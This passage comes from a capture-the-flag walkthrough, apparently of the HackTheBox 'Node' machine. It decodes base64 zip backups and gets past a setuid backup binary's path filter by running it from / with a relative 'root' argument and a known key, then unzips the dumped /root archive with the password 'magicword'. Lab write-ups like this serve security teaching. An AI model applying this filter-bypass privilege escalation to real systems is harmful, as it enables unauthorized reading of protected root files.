hmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
|
||
|
||
|
||
And we seem to get a base64 encoded string, let's copy it into a file, and decode it.
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ nano b64backup
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat b64backup
|
||
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat b64backup | base64 -d > b64d_backup
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ file b64d_backup
|
||
b64d_backup: Zip archive data, at least v?[0x333] to extract
|
||
|
||
|
||
And we have a zip archive, so let's try to unzip it :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ unzip b64d_backup
|
||
Archive: b64d_backup
|
||
skipping: root.txt need PK compat. v5.1 (can do v4.6)
|
||
|
||
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ 7z e b64d_backup
|
||
|
||
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
|
||
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
|
||
|
||
Scanning the drive for archives:
|
||
1 file, 1141 bytes (2 KiB)
|
||
|
||
Extracting archive: b64d_backup
|
||
--
|
||
Path = b64d_backup
|
||
Type = zip
|
||
Physical Size = 1141
|
||
|
||
|
||
Enter password (will not be echoed):
|
||
Everything is Ok
|
||
|
||
Size: 2584
|
||
Compressed: 1141
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ ls
|
||
b64backup b64d_backup backup nihilist.sh LinEnum.sh myplace myplace.backup root.txt var
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat root.txt
|
||
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
|
||
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
|
||
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
|
||
QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
|
||
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ
|
||
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
|
||
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
|
||
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
|
||
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
|
||
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
|
||
QQQQQQQP'.yQQQQQQQQQQQP" <****wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
|
||
QQQQQP'_a. <****aamQQQW! <****yF "!` .. "??$Qa "WQQQWTVP' "??' =QQmWWV?46/ ?QQQQQ
|
||
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <****wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
|
||
QQ[ j@mQP'adQQP4ga, -????" <****jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ
|
||
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ
|
||
QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
|
||
QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ
|
||
QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??' <****mWWWWWQW?^ ` ]6QQ' yQQQQQ
|
||
QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ
|
||
QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <****aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ
|
||
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ
|
||
QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <****c jWQ ]QQQQQQQ
|
||
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,., . .; QWQ.]QQQQQQQ
|
||
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
|
||
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
|
||
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ
|
||
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
|
||
QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV} <****wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
|
||
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
|
||
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
|
||
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
|
||
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
|
||
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
|
||
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ
|
||
|
||
successfully unzipping it, we get a troll root.txt so upon further inspection of the backup binary file using radare2 we see that we need to supply other arguements
|
||
|
||

|
||
|
||
in this function we see that we have a sanitiszation happening at the beginning of the function, and if it's 2 periods, it is going to push that b64 trollface string.
|
||
|
||

|
||
|
||
in this function we see that we are also unable to give it the /root parameter
|
||
|
||
and looking at the other functions we see that we are unable to use .. /root : & ` $ | /etc // / as parameters given to that backup binary
|
||
|
||
But as you can see we don't have just root, we have /root so we can simply go to the / directory, and execute the binary from there, we don't have to give it the / before passing the root parameter.
|
||
|
||
|
||
$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 home/tom/user.txt
|
||
UEsDBAoACQAAAJd9I0se46vsLQAAACEAAAARABwAaG9tZS90b20vdXNlci50eHRVVAkAA14VrFkYyF9edXgLAAEEAAAAAAToAwAAYg9ogU9H2FDWDWqaDu0w9XL3V2d03Xaa+Yqp/4M9tOD/HInQtG22oqn5GlP2UEsHCB7jq+wtAAAAIQAAAFBLAQIeAwoACQAAAJd9I0se46vsLQAAACEAAAARABgAAAAAAAEAAACggQAAAABob21lL3RvbS91c2VyLnR4dFVUBQADXhWsWXV4CwABBAAAAAAE6AMAAFBLBQYAAAAAAQABAFcAAACIAAAAAAA=
|
||
|
||
$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
|
||
|
||
UEsDBAoAAAAAABwWO0sAAAAAAAAAAAAAAAAFABwAcm9vdC9VVAkAA4cDy1lpxl9edXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIANGDEUd/sK5kgwAAAJQAAAANABwAcm9vdC8ucHJvZmlsZVVUCQADGf7RVa6xYFp1eAsAAQQAAAAABAAAAADx35izD0zMBNCO5qsBFm4HgoezxwFwoAclswBhzqjZb5E9cy+NspHkakbZgodSlXDFXCdGpIv8TvT2pILHnJhrAoTOuSOuN5hFGLn+L61rzmjnKjBUTVf9UyJ9Baxh/UWneHQtpkIkcFnSpzGghkMdl2OckMjeCPx0w8SztcaGn0G+3lBLBwh/sK5kgwAAAJQAAABQSwMEFAAJAAgAHBY7S9xSZRxNAAAAVQAAABIAHAByb290Ly5iYXNoX2hpc3RvcnlVVAkAA4cDy1musWBadXgLAAEEAAAAAAQAAAAAE+5Qyhn3b7wZ7eRklF9e3i6c3e9U8kvIRgdf/reO50uVVNZ0+t4BJIHMMYqMViMUVnpAkZDHQaMSOuaRV/GdvVmRbMm8aDCUlwqjj1RQSwcI3FJlHE0AAABVAAAAUEsDBAoAAAAAADR8I0sAAAAAAAAAAAAAAAAMABwAcm9vdC8uY2FjaGUvVVQJAAPDEqxZacZfXnV4CwABBAAAAAAEAAAAAFBLAwQKAAkAAAA0fCNLAAAAAAwAAAAAAAAAIAAcAHJvb3QvLmNhY2hlL21vdGQubGVnYWwtZGlzcGxheWVkVVQJAAPDEqxZwxKsWXV4CwABBAAAAAAEAAAAADt/n6f6XEwBzfgc0FBLBwgAAAAADAAAAAAAAABQSwMECgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AHAByb290L3Jvb3QudHh0VVQJAAPQFaxZSgDLWXV4CwABBAAAAAAEAAAAAJ+NuEyWOLI9+TPbsNgSZE5jgQsEoSwVHGQEuljCt1LhTrLUqVSd9sxsht73D1BLBwjyjjdALQAAACEAAABQSwMEFAAJAAgA65FWR73lED6bBQAAIgwAAAwAHAByb290Ly5iYXNocmNVVAkAA6kZKVausWBadXgLAAEEAAAAAAQAAAAAxuTCi3P1Fnetr/8MG6ZA5ZW0TX0f7CULjC2MSO+fwcvQZc7rCbuxQZqap8uQXAYy7LC+pX67sZdDYEMUKM63BHo7Fpbh0FtwnjKgOvDWl8j0OYjPwdA/83/zml2eovBMgglmOvXFHO1agWZCt9LfC8INvI5GlvLGBqYS3Bs7AQO7bDJ7kISI0bdY9YXOMBTHFaZPzhGGfhH18+9Hh3IPfQ7IN1gVc3lcZ66gOtGbSckpua3ziO3v9O3r9OEI7JoiqKfdxgZxuQC5M2+1PBJb/UMB4BIaBKyF4XGaY1L73HBASvdjmiJuWhe1Pwg9fNWWN/Etzz2/79c/lMWAEO+7S5BPJk7TTMGt8Eea219YvOW0bRz+EkAtyiUQuKlAl3sEO/RWE0vGnC5zN4YKV25JHwJtnZ4IEkpskocULRvbKW0bOIOFESgnB8DOOd9y1+X0xjXuKlrNFVPaIQVD9UmuIvrWjU1EpXcGXG7xBf7ifTyPRZ66inbdeF+0M0xJTE4PwSITy/mi/BBDb+4UUycpaho2Airjye/C8YoeJtYGPyO/IwY0AHuGGtSuDAaAcjDbdHFWpL6iCXLA4thHpplzh8wbpgjLgz0qb2ZpasH6koLM45EF8VQKXlMUcjGbl8stKJPWrdwfPwfabkVyEVe9hhiAGKIkLUy0a7yR22zbNWPkwWeRAQxwhkDVD89pPjCUMtRTo6lR1Io/Y/8dAN/KO3gHeAamewGWDru/WmpW6DorW/M/VjOcFqfuoUcLrpZXQw1J0Jxq0Z0eiiyBpmlSkDxKKO9V8ULVTGVpAryswU+cN4M+mTzTn0A8s335bIQ6IQPXoXtvAG9e0nczF1ctxDkVpkzqUEzu9+qd8FJbWly6cdtFQwIGW7ZlTXyRhNB+sBWOPA06NtD7oSmXf48M4Aa84U3jpdyClEY/fSKToDaJlNyV1VRYExwUpkTiAz3PYKxg/h3yetX5waRcxdzZDNjQnN++x7M1vO/SJJfEpMDO2McibvEKuVIUgLT8intMkOXsdoV0eaftldEd/XaIWuAtcjJ9wONnDxq6WR00ijfUg06Q8h08FWEFXgbH/rKHaKVTK1l54DoP9rsR/K0icarxIBMA7xoBIwJlygNpJ1lVadO95ibeNJM7TwvZfCMC5ABzfkcvTMhtBRVjXayGkrDIY5houd2Gsr+KBwpQJ6VTThfCadUbE2ljSoTVqO1k76CIFIQgHNCvoOg5MwdPAIZTwGih4Eli4lOhVzc2CO2GkcWly5mH8eGqWdRyBA41lA2aBE3cTO5JbfoDZBRYOm+KVNXvhai6H02BnPPxX8IWnpjJLYno4lXQv44IbU47tG9/xT0zb5gF2Q/23VTGrLhAds5mQX93sF8xinoA0DOZ7lC0CuAcBLWUp2Y4s6yTV+5wpunnMab6mha3n2t0bJ7vo8KQEyu5U23rPDnJUYhn1UvU66QB+yuwDaeV6MvEucF/Wlq2Wn2lCm9OgPYLHzwNbmMWeiqBJ5z/4hjnBD6yrCFO1XMpykQA0hsCGj5jpMr94T1yP/wh2O67BSx3DLf4T6Bz1Mw+WNrkFY8ipKL2Efj4O25APJTIIma+2M37LE0Hc0iFGRCxRsIgT5NNNP8JBmtWKnbwfV2Q/lJbK2LPsgVHD5TJS7lJahotirp3K9zCaX4rb+9VIdoUVZbhi5hYEZc7V8045dFulkP+R8Bi/WPYLrPpIpHNCpz9CWVPoKhtmfzoJYY9Rfwqe8XqgbsIUm0mTeJ/jxpe7vSAjLpmKixMBTqKMftQkZaOft+5fLAPDSjuhuO5dmtwkia+SNND5RtEfarLx1ME1AYM7zPjiAQG9dGv04KHRX9kjHcWlnm+F1u2+VKtcNLDx4v2Eq2juwHYfR4x//Q14gHFxTOallqcVv9b/hWE6lBLBwi95RA+mwUAACIMAABQSwMEFAAJAAgAwgE7S/yjvbihAQAAeQMAAA0AHAByb290Ly52aW1pbmZvVVQJAAM738pZO9/KWXV4CwABBAAAAAAEAAAAAJ9ZvfuceoNUNMJQA+brTOho6KTZvVivJdr/5eCssH69vcxd6w9eQUrchadzQlIbxBZTiE2c/vcYAbTL/026k4M5jma41u8XSP1ThkOpaXTncUZuli6NotBvDA+UKKZRsxOcyc3WLoKwcNYxc0QiRWCd8+t8Zb8sPvcCQ2xc80gE+cCyo48xKLBhXayLvPUnwb0SNEAfI7eO1hrhPK5kFnc/DrigtxRQD4tJ6kE7vdAlICIkagDhWNXilDTHeCCF6rTD4KbdgWxWtXe9o4tmjh+6f4QpUUatn0WOEuqcQuxu6d7slvKraI5Hz/c52zNu5HqmNLNPtPPj6aeMsRL4XVEK+XFQvSWI6DJ743L8oZwdatk+y4j7cG6a8paeJQs6cFJ4a63Z3RA7JVlJL3Zhvz5OuKDLGJXqsoC35scU9TXDwBftjnOnNKJyjhhWlxe/h651f4Gy41ukn9hYVxgj/t6XUBTlezMWye91KjjtdrVIJxas6ejeIE2XsS1yiXC2TLTVoVv5xhhQwlinl946kG36KzaVnTTC9Vmx9uuiPohg71BLBwj8o724oQEAAHkDAABQSwMECgAAAAAAmIAjSwAAAAAAAAAAAAAAAAsAHAByb290Ly5uYW5vL1VUCQADEBqsWWnGX151eAsAAQQAAAAABAAAAABQSwMECgAJAAAAxko7S9ntHzwTAAAABwAAABkAHAByb290Ly5uYW5vL3NlYXJjaF9oaXN0b3J5VVQJAAOzX8tZoF/LWXV4CwABBAAAAAAEAAAAAGJCrKymxMo7Sdcy3qjXV5/kYKBQSwcI2e0fPBMAAAAHAAAAUEsBAh4DCgAAAAAAHBY7SwAAAAAAAAAAAAAAAAUAGAAAAAAAAAAQAMBBAAAAAHJvb3QvVVQFAAOHA8tZdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAJAAgA0YMRR3+wrmSDAAAAlAAAAA0AGAAAAAAAAQAAAKSBPwAAAHJvb3QvLnByb2ZpbGVVVAUAAxn+0VV1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACAAcFjtL3FJlHE0AAABVAAAAEgAYAAAAAAABAAAAgIEZAQAAcm9vdC8uYmFzaF9oaXN0b3J5VVQFAAOHA8tZdXgLAAEEAAAAAAQAAAAAUEsBAh4DCgAAAAAANHwjSwAAAAAAAAAAAAAAAAwAGAAAAAAAAAAQAMBBwgEAAHJvb3QvLmNhY2hlL1VUBQADwxKsWXV4CwABBAAAAAAEAAAAAFBLAQIeAwoACQAAADR8I0sAAAAADAAAAAAAAAAgABgAAAAAAAAAAACkgQgCAAByb290Ly5jYWNoZS9tb3RkLmxlZ2FsLWRpc3BsYXllZFVUBQADwxKsWXV4CwABBAAAAAAEAAAAAFBLAQIeAwoACQAAANR9I0vyjjdALQAAACEAAAANABgAAAAAAAEAAACggX4CAAByb290L3Jvb3QudHh0VVQFAAPQFaxZdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAJAAgA65FWR73lED6bBQAAIgwAAAwAGAAAAAAAAQAAAKSBAgMAAHJvb3QvLmJhc2hyY1VUBQADqRkpVnV4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIAMIBO0v8o724oQEAAHkDAAANABgAAAAAAAAAAACAgfMIAAByb290Ly52aW1pbmZvVVQFAAM738pZdXgLAAEEAAAAAAQAAAAAUEsBAh4DCgAAAAAAmIAjSwAAAAAAAAAAAAAAAAsAGAAAAAAAAAAQAO1B6woAAHJvb3QvLm5hbm8vVVQFAAMQGqxZdXgLAAEEAAAAAAQAAAAAUEsBAh4DCgAJAAAAxko7S9ntHzwTAAAABwAAABkAGAAAAAAAAQAAAICBMAsAAHJvb3QvLm5hbm8vc2VhcmNoX2hpc3RvcnlVVAUAA7Nfy1l1eAsAAQQAAAAABAAAAABQSwUGAAAAAAoACgBWAwAApgsAAAAA
|
||
|
||
|
||
Because we are ALREADY at / we don't need to say /root which is a bad character. so let's copy this locally :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ nano user.zip.b64
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat user.zip.b64| base64 -d > user.zip
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ 7z e user.zip
|
||
|
||
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
|
||
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
|
||
|
||
Scanning the drive for archives:
|
||
1 file, 245 bytes (1 KiB)
|
||
|
||
Extracting archive: user.zip
|
||
--
|
||
Path = user.zip
|
||
Type = zip
|
||
Physical Size = 245
|
||
|
||
|
||
Enter password (will not be echoed):
|
||
Everything is Ok
|
||
|
||
Size: 33
|
||
Compressed: 245
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat user.txt
|
||
e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
And we have the user flag ! now let's do the same with the root flag :
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ nano root.zip.b64
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat root.zip.b64| base64 -d > root.zip
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ file root.zip
|
||
root.zip: Zip archive data, at least v1.0 to extract
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ 7z e root.zip
|
||
|
||
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
|
||
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
|
||
|
||
Scanning the drive for archives:
|
||
1 file, 3858 bytes (4 KiB)
|
||
|
||
Extracting archive: root.zip
|
||
--
|
||
Path = root.zip
|
||
Type = zip
|
||
Physical Size = 3858
|
||
|
||
|
||
Enter password (will not be echoed):
|
||
|
||
Would you like to replace the existing file:
|
||
Path: ./root.txt
|
||
Size: 2584 bytes (3 KiB)
|
||
Modified: 2017-09-02 23:51:30
|
||
with the file from archive:
|
||
Path: root/root.txt
|
||
Size: 33 bytes (1 KiB)
|
||
Modified: 2017-09-03 14:46:40
|
||
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? A
|
||
|
||
Everything is Ok
|
||
|
||
Folders: 3
|
||
Files: 7
|
||
Size: 4268
|
||
Compressed: 3858
|
||
|
||
|
||
Giving it the password "magicword" we successfully unzip it just like the previous zip file we decoded :
|
||
|
||
|
||
|
||
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
|
||
→ cat root.txt
|
||
17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
And we have the root flag !
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||

|
||
|